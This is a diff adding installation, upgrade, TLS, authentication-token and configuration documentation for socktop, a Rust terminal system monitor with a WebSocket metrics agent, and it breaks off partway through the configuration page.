sudo apt update
|
||||
```
|
||||
|
||||
### Step 4: Install Packages
|
||||
|
||||
Install socktop and the agent:
|
||||
|
||||
```bash
|
||||
# Install both client and agent
|
||||
sudo apt install socktop socktop-agent
|
||||
|
||||
# Or install individually
|
||||
sudo apt install socktop # TUI client only
|
||||
sudo apt install socktop-agent # Agent only
|
||||
```
|
||||
|
||||
## Automatic Service Setup
|
||||
|
||||
The APT package automatically configures the agent as a systemd service, but it's **not enabled by default**.
|
||||
|
||||
### Enable and Start the Agent
|
||||
|
||||
```bash
|
||||
# Enable the service to start at boot
|
||||
sudo systemctl enable socktop-agent
|
||||
|
||||
# Start the service now
|
||||
sudo systemctl start socktop-agent
|
||||
|
||||
# Or do both in one command
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
|
||||
### Check Service Status
|
||||
|
||||
```bash
|
||||
# View service status
|
||||
sudo systemctl status socktop-agent
|
||||
|
||||
# View service logs
|
||||
sudo journalctl -u socktop-agent -f
|
||||
|
||||
# View recent logs
|
||||
sudo journalctl -u socktop-agent -n 50
|
||||
```
|
||||
|
||||
### Control the Service
|
||||
|
||||
```bash
|
||||
# Stop the service
|
||||
sudo systemctl stop socktop-agent
|
||||
|
||||
# Restart the service
|
||||
sudo systemctl restart socktop-agent
|
||||
|
||||
# Disable auto-start
|
||||
sudo systemctl disable socktop-agent
|
||||
```
|
||||
@@ -0,0 +1,118 @@
|
||||
# Install via Cargo
|
||||
|
||||
Installing socktop via Cargo gives you access to the latest version and works on any Linux distribution with Rust installed.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Before installing via Cargo, ensure you have:
|
||||
|
||||
- **Current stable Rust** (1.85+, 2024 edition) - Install via [rustup](https://rustup.rs/)
|
||||
- **Build dependencies** - See [Prerequisites](./prerequisites.md) for details
|
||||
- **GPU support libraries** (x86_64/aarch64):
|
||||
```bash
|
||||
# Debian/Ubuntu
|
||||
sudo apt install libdrm-dev libdrm-amdgpu1
|
||||
# Fedora
|
||||
sudo dnf install libdrm-devel libdrm-amdgpu
|
||||
```
|
||||
|
||||
## Installation
|
||||
|
||||
### Installing the TUI Client
|
||||
|
||||
```bash
|
||||
cargo install socktop
|
||||
```
|
||||
|
||||
This will download, compile, and install the `socktop` binary to `~/.cargo/bin/`. Make sure this directory is in your `PATH`.
|
||||
|
||||
### Installing the Agent
|
||||
|
||||
```bash
|
||||
cargo install socktop_agent
|
||||
```
|
||||
|
||||
This installs the `socktop_agent` binary to `~/.cargo/bin/`.
|
||||
|
||||
### Installing Both (Recommended)
|
||||
|
||||
```bash
|
||||
cargo install socktop socktop_agent
|
||||
```
|
||||
|
||||
## Verify Installation
|
||||
|
||||
Check that the binaries are installed correctly:
|
||||
|
||||
```bash
|
||||
# Check socktop client
|
||||
socktop --version
|
||||
|
||||
# Check socktop agent
|
||||
socktop_agent --version
|
||||
```
|
||||
|
||||
You should see output like:
|
||||
```
|
||||
socktop 1.60.1
|
||||
```
|
||||
|
||||
## First Run
|
||||
|
||||
### Start the Agent
|
||||
|
||||
Start the agent in a separate terminal or background process:
|
||||
|
||||
```bash
|
||||
# Run in foreground (for testing)
|
||||
socktop_agent
|
||||
|
||||
# Run in background
|
||||
socktop_agent &
|
||||
|
||||
# Or on a custom port
|
||||
socktop_agent --port 3000
|
||||
```
|
||||
|
||||
### Connect with the Client
|
||||
|
||||
In another terminal, connect to the agent:
|
||||
|
||||
```bash
|
||||
socktop ws://localhost:3000/ws
|
||||
```
|
||||
|
||||
Or just try demo mode (starts and stops its own local agent):
|
||||
|
||||
```bash
|
||||
socktop --demo
|
||||
```
|
||||
|
||||
## Configuration
|
||||
|
||||
The agent is configured with a small set of flags (`--port/-p`, `--enableSSL`) and environment variables (`SOCKTOP_TOKEN`, `SOCKTOP_AGENT_GPU=0`, ...). The client connects by URL or saved profile:
|
||||
|
||||
```bash
|
||||
# Remote connection
|
||||
socktop ws://192.168.1.100:3000/ws
|
||||
|
||||
# Secure connection with a pinned certificate
|
||||
socktop --tls-ca /path/to/cert.pem wss://secure-host:8443/ws
|
||||
|
||||
# Using a connection profile
|
||||
socktop -P my-server
|
||||
```
|
||||
|
||||
See [Configuration](../usage/configuration.md) for the complete reference and [Connection Profiles](../usage/connection-profiles.md) for profiles.
|
||||
|
||||
## System-wide agent (Linux)
|
||||
|
||||
```bash
|
||||
# If you installed with cargo, binaries are in ~/.cargo/bin
|
||||
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
|
||||
|
||||
# Install and enable the systemd service (example unit in docs/)
|
||||
sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
@@ -0,0 +1,32 @@
|
||||
# Platform Notes
|
||||
|
||||
## Linux
|
||||
|
||||
Fully supported — agent and client, amd64 and arm64. This is the primary platform.
|
||||
|
||||
## Raspberry Pi
|
||||
|
||||
- **64-bit** (Raspberry Pi OS 64-bit, Ubuntu): `aarch64-unknown-linux-gnu` — full support including the APT packages.
|
||||
- **32-bit** (ARMv7): `armv7-unknown-linux-gnueabihf` — supported, but GPU metrics are not available; when building from source, build the agent with `--no-default-features`.
|
||||
|
||||
**Kernel tip:** update to kernel 6.6 or newer if you can. The agent uses considerably less CPU on newer kernels — on a Pi 4 under continuous polling, roughly 0.8 of a core before 6.6 versus 0.2 after (idle usage is 0 either way).
|
||||
|
||||
## Windows
|
||||
|
||||
- Client and agent build with stable Rust and the MSVC toolchain (install Visual Studio Build Tools).
|
||||
- Prebuilt `.exe` binaries for both are available in the build artifacts under [GitHub Actions](https://github.com/jasonwitty/socktop/actions).
|
||||
- CPU temperature may be unavailable.
|
||||
|
||||
## macOS
|
||||
|
||||
- The client works well — build or `cargo install` as on Linux.
|
||||
- The agent runs fine for local use and debugging, but it is primarily targeted at Linux; running it as a launchd service is not documented.
|
||||
|
||||
## RISC-V (experimental)
|
||||
|
||||
- `riscv64` builds from source; install your distribution's `protobuf-compiler` package first.
|
||||
- No GPU support — build the agent with `--no-default-features`.
|
||||
|
||||
## Cross-Compiling
|
||||
|
||||
To build agent binaries for Raspberry Pi or other ARM devices from a faster machine, see the [cross-compilation guide](https://github.com/jasonwitty/socktop/blob/master/docs/cross-compiling.md) (Linux, macOS, or Windows hosts).
|
||||
@@ -0,0 +1,77 @@
|
||||
# Prerequisites
|
||||
|
||||
## Supported Operating Systems
|
||||
|
||||
- **Debian** 10+
|
||||
- **Ubuntu** 20.04+
|
||||
- **Arch Linux** (latest)
|
||||
- **Fedora** 35+
|
||||
- **Raspberry Pi OS**
|
||||
- Other Linux distributions with kernel 4.15+
|
||||
- Windows 10+ (binaries available in build artifacts)
|
||||
- macOS (client; the agent runs but is primarily targeted at Linux)
|
||||
|
||||
See [Platform Notes](./platform-notes.md) for platform-specific details.
|
||||
|
||||
#### Supported Architectures
|
||||
|
||||
- **amd64** (x86_64)
|
||||
- **arm64** (aarch64) - Raspberry Pi 4, AWS Graviton
|
||||
- **armhf** (ARMv7) - Raspberry Pi 3
|
||||
- **riscv64** (experimental)
|
||||
|
||||
## Software Dependencies
|
||||
|
||||
GPU support requires additional libraries (x86_64 and aarch64 only):
|
||||
|
||||
**Debian/Ubuntu/Raspberry Pi OS:**
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install libdrm-dev libdrm-amdgpu1
|
||||
```
|
||||
|
||||
**Fedora:**
|
||||
```bash
|
||||
sudo dnf install libdrm-devel libdrm-amdgpu
|
||||
```
|
||||
|
||||
On ARMv7 (32-bit) and RISC-V, GPU support is not available — build the agent with `--no-default-features`:
|
||||
|
||||
```bash
|
||||
cargo build --release -p socktop_agent --no-default-features
|
||||
```
|
||||
|
||||
### For Cargo Installation
|
||||
|
||||
#### 1. Rust Toolchain
|
||||
|
||||
A current stable Rust toolchain is required (the crates use the 2024 edition, so Rust 1.85+).
|
||||
|
||||
```bash
|
||||
# Install Rust via rustup (recommended)
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
|
||||
# Verify installation
|
||||
rustc --version
|
||||
cargo --version
|
||||
|
||||
# Update if needed
|
||||
rustup update
|
||||
```
|
||||
|
||||
#### 2. Build Dependencies
|
||||
|
||||
**Debian/Ubuntu:**
|
||||
```bash
|
||||
sudo apt install build-essential pkg-config libssl-dev libdrm-dev libdrm-amdgpu1
|
||||
```
|
||||
|
||||
**Fedora:**
|
||||
```bash
|
||||
sudo dnf install gcc pkg-config openssl-devel libdrm-devel libdrm-amdgpu
|
||||
```
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S base-devel openssl libdrm
|
||||
```
|
||||
@@ -0,0 +1,114 @@
|
||||
# Quick Start
|
||||
|
||||
## Installation Methods
|
||||
|
||||
socktop can be installed via APT (Debian/Ubuntu), Cargo, or built from source.
|
||||
|
||||
## Option 1: APT Installation (Recommended for Debian/Ubuntu)
|
||||
|
||||
Debian/Ubuntu installation:
|
||||
|
||||
```bash
|
||||
# Add the repository's GPG signing key
|
||||
curl -fsSL https://jasonwitty.github.io/socktop/KEY.gpg | \
|
||||
sudo gpg --dearmor -o /usr/share/keyrings/socktop-archive-keyring.gpg
|
||||
|
||||
# Add the APT repository
|
||||
echo "deb [signed-by=/usr/share/keyrings/socktop-archive-keyring.gpg] https://jasonwitty.github.io/socktop stable main" | \
|
||||
sudo tee /etc/apt/sources.list.d/socktop.list
|
||||
|
||||
# Update the package list
|
||||
sudo apt update
|
||||
|
||||
# Install socktop and the agent
|
||||
sudo apt install socktop socktop-agent
|
||||
|
||||
# Enable the agent service
|
||||
sudo systemctl enable --now socktop-agent
|
||||
```
|
||||
|
||||
Then connect to it: `socktop ws://localhost:3000/ws` — or to any remote agent by hostname.
|
||||
|
||||
## Option 2: Cargo Installation
|
||||
|
||||
Install from crates.io:
|
||||
|
||||
```bash
|
||||
# Install GPU support libraries (see Prerequisites for other distros)
|
||||
sudo apt install libdrm-dev libdrm-amdgpu1
|
||||
|
||||
# Install the TUI client
|
||||
cargo install socktop
|
||||
|
||||
# Install the agent
|
||||
cargo install socktop_agent
|
||||
|
||||
# Run the agent manually or set up as a service (see Agent Service Setup)
|
||||
socktop_agent
|
||||
```
|
||||
|
||||
## Demo Mode
|
||||
|
||||
Test socktop without setting up an agent:
|
||||
|
||||
```bash
|
||||
# If you have socktop installed
|
||||
socktop --demo
|
||||
|
||||
# Or just run socktop with no arguments and select 'demo' from the interactive menu
|
||||
socktop
|
||||
```
|
||||
|
||||
This spins up a temporary local agent on port 3231, connects to it, and stops when you quit (Ctrl-C or `q`).
|
||||
|
||||
## Usage
|
||||
|
||||
```bash
|
||||
# Quick demo (no agent setup needed)
|
||||
socktop --demo
|
||||
|
||||
# Connect to an agent (local or remote) — note the /ws path
|
||||
socktop ws://localhost:3000/ws
|
||||
socktop ws://hostname:3000/ws
|
||||
|
||||
# Or run socktop with no arguments to pick a saved profile interactively
|
||||
socktop
|
||||
```
|
||||
|
||||
The TUI displays system metrics in real-time.
|
||||
|
||||
## Interactive Profile Selection
|
||||
|
||||
If you run `socktop` with no arguments, you'll see an interactive menu:
|
||||
|
||||
```
|
||||
Select profile:
|
||||
1. prod
|
||||
2. dev-server
|
||||
3. demo
|
||||
Enter number (or blank to abort):
|
||||
```
|
||||
|
||||
- Choose a numbered profile to connect to a saved server
|
||||
- Select `demo` to launch demo mode (always available)
|
||||
- Press Enter on blank to abort
|
||||
|
||||
## Monitoring Remote Systems
|
||||
|
||||
To monitor a remote system:
|
||||
|
||||
1. **Install the agent** on the target system (using APT or Cargo)
|
||||
2. **Start the agent** on the remote system:
|
||||
```bash
|
||||
# Via systemd (APT install)
|
||||
sudo systemctl start socktop-agent
|
||||
|
||||
# Or manually
|
||||
socktop_agent
|
||||
```
|
||||
3. **Connect from your client**:
|
||||
```bash
|
||||
socktop ws://remote-hostname:3000/ws
|
||||
```
|
||||
|
||||
Save frequently used connections as profiles. See [Connection Profiles](../usage/connection-profiles.md).
|
||||
@@ -0,0 +1,64 @@
|
||||
# Upgrading
|
||||
|
||||
This guide covers upgrading socktop and socktop_agent to newer versions.
|
||||
|
||||
## Upgrade Order
|
||||
|
||||
Mixed versions keep working during rollouts (wire changes are additive), but two things set the order:
|
||||
|
||||
- **Upgrade clients first where you use TLS.** Versions before 1.60 did not actually enforce certificate pinning — any server certificate was accepted. The fix is client-side.
|
||||
- **Upgrade agent and client together on machines where you use the [process kill feature](../usage/general.md#killing-a-process)** — older agents keep reporting dead processes, so killed rows would linger on screen.
|
||||
|
||||
## Upgrading via APT
|
||||
|
||||
### Standard Upgrade
|
||||
|
||||
The easiest method - upgrade through normal system updates:
|
||||
|
||||
```bash
|
||||
# Update package lists
|
||||
sudo apt update
|
||||
|
||||
# Upgrade socktop packages
|
||||
sudo apt upgrade socktop socktop-agent
|
||||
|
||||
# Or upgrade entire system
|
||||
sudo apt upgrade
|
||||
```
|
||||
|
||||
The service will automatically restart after the upgrade.
|
||||
|
||||
### Verify Upgrade
|
||||
|
||||
```bash
|
||||
# Check new versions
|
||||
socktop --version
|
||||
socktop_agent --version
|
||||
|
||||
# Check service status
|
||||
sudo systemctl status socktop-agent
|
||||
```
|
||||
|
||||
**Tip:** if `socktop --version` still shows the old version after upgrading, an older copy in `~/.cargo/bin` may be shadowing the new one on your `PATH`. Check with `type -a socktop` and remove the stale copy (then `hash -r` in bash). Also note a long-running agent keeps serving its old behavior until restarted — restart the service after any upgrade.
|
||||
|
||||
## Upgrading via Cargo
|
||||
|
||||
### Update from crates.io
|
||||
|
||||
```bash
|
||||
# Update client
|
||||
cargo install socktop --force
|
||||
|
||||
# Update agent
|
||||
# on the server running the agent
|
||||
cargo install socktop_agent --force
|
||||
sudo systemctl stop socktop-agent
|
||||
sudo install -o root -g root -m 0755 "$HOME/.cargo/bin/socktop_agent" /usr/local/bin/socktop_agent
|
||||
# if you changed the unit file:
|
||||
# sudo install -o root -g root -m 0644 docs/socktop-agent.service /etc/systemd/system/socktop-agent.service
|
||||
# sudo systemctl daemon-reload
|
||||
sudo systemctl start socktop-agent
|
||||
sudo systemctl status socktop-agent --no-pager
|
||||
# logs:
|
||||
# journalctl -u socktop-agent -f
|
||||
```
|
||||
@@ -0,0 +1,87 @@
|
||||
# Introduction
|
||||
|
||||

|
||||
|
||||
**socktop** is a TUI-first remote system monitor built with Rust. Two components:
|
||||
|
||||
- **socktop (TUI Client)** - A terminal-based user interface for viewing system metrics
|
||||
- **socktop_agent** - A lightweight background service that collects and serves system metrics over WebSocket
|
||||
|
||||
## Features
|
||||
|
||||
- TUI built with ratatui, Catppuccin Frappe theme
|
||||
- CPU: overall sparkline + per-core bars, accurate per-process CPU% (normalized 0-100%)
|
||||
- Memory/Swap gauges
|
||||
- Disks: per-device usage
|
||||
- Network: per-interface throughput with sparklines
|
||||
- Temperatures: CPU (optional)
|
||||
- Process list: fuzzy search, sortable by CPU% or memory, scrollable
|
||||
- Process details: command line, working directory, per-thread CPU, journal entries
|
||||
- Kill local processes from the TUI (Terminate / Force kill, with confirmation)
|
||||
- Optional GPU metrics
|
||||
- Compact layout for small terminal windows (automatic, or pinned with `--compact`)
|
||||
- Remote monitoring via WebSocket (JSON over WS)
|
||||
- Optional WSS (TLS): agent auto-generates self-signed cert on first run, client pins cert via --tls-ca/-t
|
||||
- Optional auth token
|
||||
- Connection profiles for quick access to saved hosts
|
||||
- Built-in demo mode (--demo)
|
||||
|
||||
## Architecture
|
||||
|
||||
socktop uses a client-server architecture:
|
||||
|
||||
```
|
||||
┌─────────────────┐ WebSocket ┌──────────────────┐
|
||||
│ │ ◄────────────────────────► │ │
|
||||
│ socktop (TUI) │ (with TLS optional) │ socktop-agent │
|
||||
│ Client │ │ (Background) │
|
||||
│ │ │ │
|
||||
└─────────────────┘ └──────────────────┘
|
||||
│ │
|
||||
│ │
|
||||
▼ ▼
|
||||
User Terminal System Metrics
|
||||
Local or Remote (sysinfo crate)
|
||||
```
|
||||
|
||||
The agent runs on each system you want to monitor, collecting metrics using the `sysinfo` crate. The client connects to one or more agents to display real-time system information.
|
||||
|
||||
## Quick Demo
|
||||
|
||||
```bash
|
||||
socktop --demo
|
||||
```
|
||||
|
||||
Spins up a temporary local agent on port 3231 and connects to it. Stops automatically when you quit.
|
||||
|
||||
## Use Cases
|
||||
|
||||
- Remote server monitoring
|
||||
- Homelab / Raspberry Pi cluster monitoring
|
||||
- Development / testing resource usage
|
||||
- Custom dashboards via `socktop_connector` library
|
||||
|
||||
## Project Status
|
||||
|
||||
socktop is actively maintained and used in production environments. The project follows semantic versioning and maintains backward compatibility within major versions.
|
||||
|
||||
- **Current Version**: 1.60.x — see [GitHub Releases](https://github.com/jasonwitty/socktop/releases) for release notes
|
||||
- **Supported Platforms**: Linux (amd64, arm64, armhf, riscv64), Windows, macOS (client) — see [Platform Notes](./installation/platform-notes.md)
|
||||
- **License**: MIT
|
||||
|
||||
Wire changes between versions are additive: mixed client/agent versions keep working during rollouts.
|
||||
|
||||
## Community and Support
|
||||
|
||||
- **GitHub Repository**: [https://github.com/jasonwitty/socktop](https://github.com/jasonwitty/socktop)
|
||||
- **Release Notes**: [GitHub Releases](https://github.com/jasonwitty/socktop/releases)
|
||||
- **Issue Tracker**: Report bugs and request features on GitHub
|
||||
- **crates.io**:
|
||||
- [socktop](https://crates.io/crates/socktop) - TUI client
|
||||
- [socktop_agent](https://crates.io/crates/socktop_agent) - Background agent
|
||||
- [socktop_connector](https://crates.io/crates/socktop_connector) - Library for integrations
|
||||
- **APT Repository**: [https://jasonwitty.github.io/socktop/](https://jasonwitty.github.io/socktop/)
|
||||
|
||||
## Next Steps
|
||||
|
||||
See [Quick Start](./installation/quick-start.md) for installation.
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 1.2 MiB |
@@ -0,0 +1,127 @@
|
||||
# TLS Configuration
|
||||
|
||||
Secure your socktop agent connections with TLS/SSL encryption.
|
||||
|
||||
## How Verification Works
|
||||
|
||||
The client supports two modes:
|
||||
|
||||
- **Certificate pinning (default).** The certificate the agent presents must be **byte-identical** to one of the certificates in the PEM file you pass with `--tls-ca/-t`. Nothing else is accepted — not other certificates chained to the same CA, not renewed certificates. The pinned PEM may contain multiple certificates (useful during rotation: ship old + new together). Expiry is irrelevant for pinned connections. This mode is designed for the agent's self-signed certificates on home networks.
|
||||
- **Hostname verification (`--verify-hostname`).** Standard WebPKI validation against the certificate as a root, including hostname/SAN checking.
|
||||
|
||||
> **Upgrade note:** client versions before 1.60 did **not** enforce pinning — with `--verify-hostname` off, any server certificate was silently accepted. If you use TLS, make sure your clients are 1.60 or newer.
|
||||
|
||||
### Enable TLS (Auto-Generated Certificate)
|
||||
|
||||
The agent automatically generates a self-signed certificate on first run when you enable TLS:
|
||||
|
||||
```bash
|
||||
# The agent will auto-generate cert and key on first TLS run
|
||||
socktop_agent --enableSSL --port 8443
|
||||
```
|
||||
|
||||
The certificate is stored at:
|
||||
- **Linux (XDG)**: `$XDG_CONFIG_HOME/socktop_agent/tls/cert.pem` (defaults to `~/.config/socktop_agent/tls/`)
|
||||
- The agent prints the certificate location on first run
|
||||
- The private key (`key.pem`) is created with mode `0600`; agents also tighten permissions on existing keys at startup
|
||||
|
||||
**Example output:**
|
||||
```
|
||||
socktop_agent: generated self-signed TLS certificate at /home/user/.config/socktop_agent/tls/cert.pem
|
||||
```
|
||||
|
||||
**Optional: Custom SANs (Subject Alternative Names)**
|
||||
|
||||
To include additional IPs or hostnames in the auto-generated certificate:
|
||||
|
||||
```bash
|
||||
SOCKTOP_AGENT_EXTRA_SANS="192.168.1.101,myhost.internal" socktop_agent --enableSSL --port 8443
|
||||
```
|
||||
|
||||
This prevents `NotValidForName` errors when connecting via IPs not in the default SAN list.
|
||||
|
||||
### Systemd Service with TLS
|
||||
|
||||
Edit `/etc/systemd/system/socktop-agent.service`:
|
||||
|
||||
```ini
|
||||
[Service]
|
||||
ExecStart=/usr/local/bin/socktop_agent --enableSSL --port 8443
|
||||
```
|
||||
|
||||
Reload and restart:
|
||||
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart socktop-agent
|
||||
|
||||
# Check logs for certificate location
|
||||
sudo journalctl -u socktop-agent -f
|
||||
```
|
||||
|
||||
### Connect with Client
|
||||
|
||||
Copy the auto-generated certificate from the agent to your client machine:
|
||||
|
||||
```bash
|
||||
# Copy certificate from agent host
|
||||
scp user@agent-host:~/.config/socktop_agent/tls/cert.pem ~/socktop-agent-cert.pem
|
||||
```
|
||||
|
||||
Connect with certificate pinning:
|
||||
|
||||
```bash
|
||||
# Connect with TLS and pin the server certificate
|
||||
socktop --tls-ca ~/socktop-agent-cert.pem wss://hostname:8443/ws
|
||||
|
||||
# Short form
|
||||
socktop -t ~/socktop-agent-cert.pem wss://hostname:8443/ws
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
|
||||
- Providing `--tls-ca/-t` automatically upgrades `ws://` to `wss://` if you forget the protocol.
|
||||
- Copy only `cert.pem` to clients — **never** the private key (`key.pem`); it stays on the agent.
|
||||
- You can monitor multiple agents by passing a different `--tls-ca` per invocation, or better, saving one [profile](../usage/connection-profiles.md) per host.
|
||||
|
||||
### Certificate Expiry and Rotation
|
||||
|
||||
The auto-generated certificate is valid for ~397 days. Pinned clients don't check expiry, but `--verify-hostname` clients do, and the agent won't regenerate an expired certificate on its own. To rotate:
|
||||
|
||||
```bash
|
||||
# On the agent host (adjust path if XDG_CONFIG_HOME is set, or
|
||||
# /var/lib/socktop/.config/socktop_agent/tls/ for the packaged service)
|
||||
rm ~/.config/socktop_agent/tls/cert.pem ~/.config/socktop_agent/tls/key.pem
|
||||
sudo systemctl restart socktop-agent # if running under systemd
|
||||
```
|
||||
|
||||
The agent generates a fresh pair on the next TLS start. Distribute the new `cert.pem` to clients. For a seamless rollover, append the new cert to the clients' pinned PEM first (both are accepted), then remove the old one after the agent switches.
|
||||
|
||||
### Example Profiles with TLS
|
||||
|
||||
Profiles store the pinned certificate path alongside the URL (`~/.config/socktop/profiles.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"local": {
|
||||
"url": "ws://127.0.0.1:3000/ws"
|
||||
},
|
||||
"rpi-master": {
|
||||
"url": "wss://rpi-master:8443/ws",
|
||||
"tls_ca": "/home/user/.config/socktop/rpi-master.pem",
|
||||
"metrics_interval_ms": 1000,
|
||||
"processes_interval_ms": 5000
|
||||
},
|
||||
"rpi-worker-1": {
|
||||
"url": "wss://192.168.1.102:8443/ws",
|
||||
"tls_ca": "/home/user/.config/socktop/rpi-worker-1.pem",
|
||||
"metrics_interval_ms": 1000,
|
||||
"processes_interval_ms": 5000
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
Then connect with `socktop -P rpi-master`. See [Connection Profiles](../usage/connection-profiles.md).
|
||||
@@ -0,0 +1,83 @@
|
||||
# Authentication Token
|
||||
|
||||
The agent can require a shared token from connecting clients. Without the correct token, the WebSocket connection is rejected.
|
||||
|
||||
- **Access control** - only clients that know the token can connect
|
||||
- **Defense in depth** - combine with [TLS](./tls.md) so the token isn't sent in cleartext over untrusted networks
|
||||
|
||||
## Agent: Setting the Token
|
||||
|
||||
The token is configured with the `SOCKTOP_TOKEN` environment variable. (There is no `--token` command-line flag.)
|
||||
|
||||
### Running Manually
|
||||
|
||||
```bash
|
||||
SOCKTOP_TOKEN=changeme socktop_agent --port 3000
|
||||
```
|
||||
|
||||
### Running as a systemd Service
|
||||
|
||||
Add the environment variable with a drop-in (works for both APT and manual installs):
|
||||
|
||||
```bash
|
||||
sudo systemctl edit socktop-agent
|
||||
```
|
||||
|
||||
```ini
|
||||
[Service]
|
||||
Environment=SOCKTOP_TOKEN=changeme
|
||||
```
|
||||
|
||||
```bash
|
||||
sudo systemctl daemon-reload
|
||||
sudo systemctl restart socktop-agent
|
||||
```
|
||||
|
||||
Alternatively, uncomment the `# Environment=SOCKTOP_TOKEN=changeme` line that ships in the packaged unit file.
|
||||
|
||||
## Client: Sending the Token
|
||||
|
||||
The client passes the token as a `token` query parameter in the WebSocket URL. Quote the URL so your shell doesn't interpret the `?`:
|
||||
|
||||
```bash
|
||||
socktop "ws://server:3000/ws?token=changeme"
|
||||
|
||||
# With TLS
|
||||
socktop --tls-ca /path/to/cert.pem "wss://server:8443/ws?token=changeme"
|
||||
```
|
||||
|
||||
**Warning:** the client's `-t` flag is short for `--tls-ca` (a certificate path), not for the token.
|
||||
|
||||
### In a Connection Profile
|
||||
|
||||
Store the token as part of the profile URL (`~/.config/socktop/profiles.json`):
|
||||
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"secure-server": {
|
||||
"url": "ws://server.example.com:3000/ws?token=changeme"
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
Then connect:
|
||||
|
||||
```bash
|
||||
socktop -P secure-server
|
||||
```
|
||||
|
||||
**Note:** the profiles file then contains the token in plaintext — keep its permissions restrictive.
|
||||
|
||||
## Generating a Strong Token
|
||||
|
||||
```bash
|
||||
openssl rand -base64 32
|
||||
```
|
||||
|
||||
## Recommendations
|
||||
|
||||
- On untrusted networks, always combine the token with [TLS](./tls.md); over plain `ws://` the token is visible to anyone who can capture traffic.
|
||||
- Rotate the token by updating `SOCKTOP_TOKEN` on the agent, restarting the service, and updating client profiles.
|
||||
@@ -0,0 +1,105 @@
|
||||
# Configuration
|
||||
|
||||
This page is the complete reference for configuring the socktop client and agent. Every option listed here exists in the current release — if an option isn't listed, it isn't supported.
|
||||
|
||||
## Client Configuration
|
||||
|
||||
### Command-Line Options
|
||||
|
||||
```
|
||||
socktop [--tls-ca CERT_PEM|-t CERT_PEM] [--verify-hostname] [--profile NAME|-P NAME]
|
||||
[--save] [--demo] [--compact] [--metrics-interval-ms N]
|
||||
[--processes-interval-ms N] [ws://HOST:PORT/ws]
|
||||
```
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
| `--tls-ca <FILE>`, `-t <FILE>` | Pin the agent's TLS certificate (PEM). Auto-upgrades `ws://` to `wss://`. See [TLS Configuration](../security/tls.md) |
|
||||
| `--verify-hostname` | Enable strict hostname/SAN verification instead of certificate pinning |
|
||||
| `--profile <NAME>`, `-P <NAME>` | Use (or create) a saved connection profile |
|
||||
| `--save` | Overwrite an existing profile without the interactive prompt |
|
||||
| `--demo` | Spin up a temporary local agent and connect to it |
|
||||
| `--compact` | Pin the compact layout (normally auto-selected when the window is small) |
|
||||
| `--metrics-interval-ms <N>` | Fast metrics polling interval (default: 500, clamped to ≥ 100) |
|
||||
| `--processes-interval-ms <N>` | Process list polling interval (default: 2000, clamped to ≥ 200) |
|
||||
|
||||
**Note:** there is no `--token` client flag. Authentication tokens are passed in the URL as a query parameter: `socktop "ws://HOST:3000/ws?token=changeme"`. See [Authentication Token](../security/token.md).
|
||||
|
||||
### Configuration Files
|
||||
|
||||
The client stores connection profiles in:
|
||||
|
||||
- `$XDG_CONFIG_HOME/socktop/profiles.json`
|
||||
- `~/.config/socktop/profiles.json` when `XDG_CONFIG_HOME` is not set
|
||||
|
||||
See [Connection Profiles](./connection-profiles.md) for the file format.
|
||||
|
||||
## Agent Configuration
|
||||
|
||||
The agent is configured with a small set of command-line flags and environment variables. There is no configuration file.
|
||||
|
||||
### Command-Line Flags
|
||||
|
||||
| Flag | Description |
|
||||
|---|---|
|
||||
| `--port <PORT>`, `-p <PORT>` | Port to listen on (default: 3000, or 8443 with TLS) |
|
||||
| `--enableSSL` | Enable TLS with an auto-generated self-signed certificate |
|
||||
| `--version`, `-V` | Print version and exit |
|
||||
|
||||
The agent always binds to `0.0.0.0` (all interfaces). To restrict access, use a firewall or an [authentication token](../security/token.md).
|
||||
|
||||
### Environment Variables
|
||||
|
||||
Core settings:
|
||||
|
||||
| Variable | Description |
|
||||
|---|---|
|
||||
| `SOCKTOP_PORT` | Port to listen on (same as `--port`) |
|
||||
| `SOCKTOP_ENABLE_SSL` | Set to `1` to enable TLS (same as `--enableSSL`) |
|
||||
| `SOCKTOP_TOKEN` | Require this authentication token from clients |
|
||||
| `SOCKTOP_AGENT_GPU` | Set to `0` to disable GPU metrics collection |
|
||||
| `SOCKTOP_AGENT_TEMP` | Set to `0` to disable CPU temperature collection |
|
||||
| `SOCKTOP_AGENT_EXTRA_SANS` | Comma-separated extra IPs/DNS names to include in the auto-generated TLS certificate |
|
||||
|
||||
Tuning (defaults are sensible; change only if you have a reason):
|
||||
|
||||
| Variable | Default | Description |
|
||||
|---|---|---|
|
||||
| `SOCKTOP_WORKER_THREADS` | 2 | Tokio worker threads (1–16). The agent is I/O-bound; 2 is enough for typical use |
|
||||
| `SOCKTOP_AGENT_METRICS_TTL_MS` | 250 | How long a collected metrics snapshot is served from cache |
|
||||
| `SOCKTOP_AGENT_DISKS_TTL_MS` | 1000 | Disk snapshot cache lifetime |
|
||||
| `SOCKTOP_AGENT_PROCESSES_TTL_MS` | 1500 | Process list cache lifetime (Linux) |
|
||||
| `SOCKTOP_AGENT_NAME_CACHE_CLEANUP_THRESHOLD` | 1000 | Process-name cache sweep threshold (non-Linux) |
|
||||
|
||||
The TTL caches mean multiple clients polling the same agent share collection work instead of multiplying it.
|
||||
|
||||
### Configuring the systemd Service
|
||||
|
||||
The service unit (installed by the APT package at `/etc/systemd/system/` or from `docs/socktop-agent.service`) sets options on the `ExecStart` line and via `Environment=` entries. To change them without editing the packaged unit, use a drop-in:
|
||||
|
||||
```bash
|
||||
sudo systemctl edit socktop-agent
|
||||
```
|
||||
|
||||
```ini
|
||||
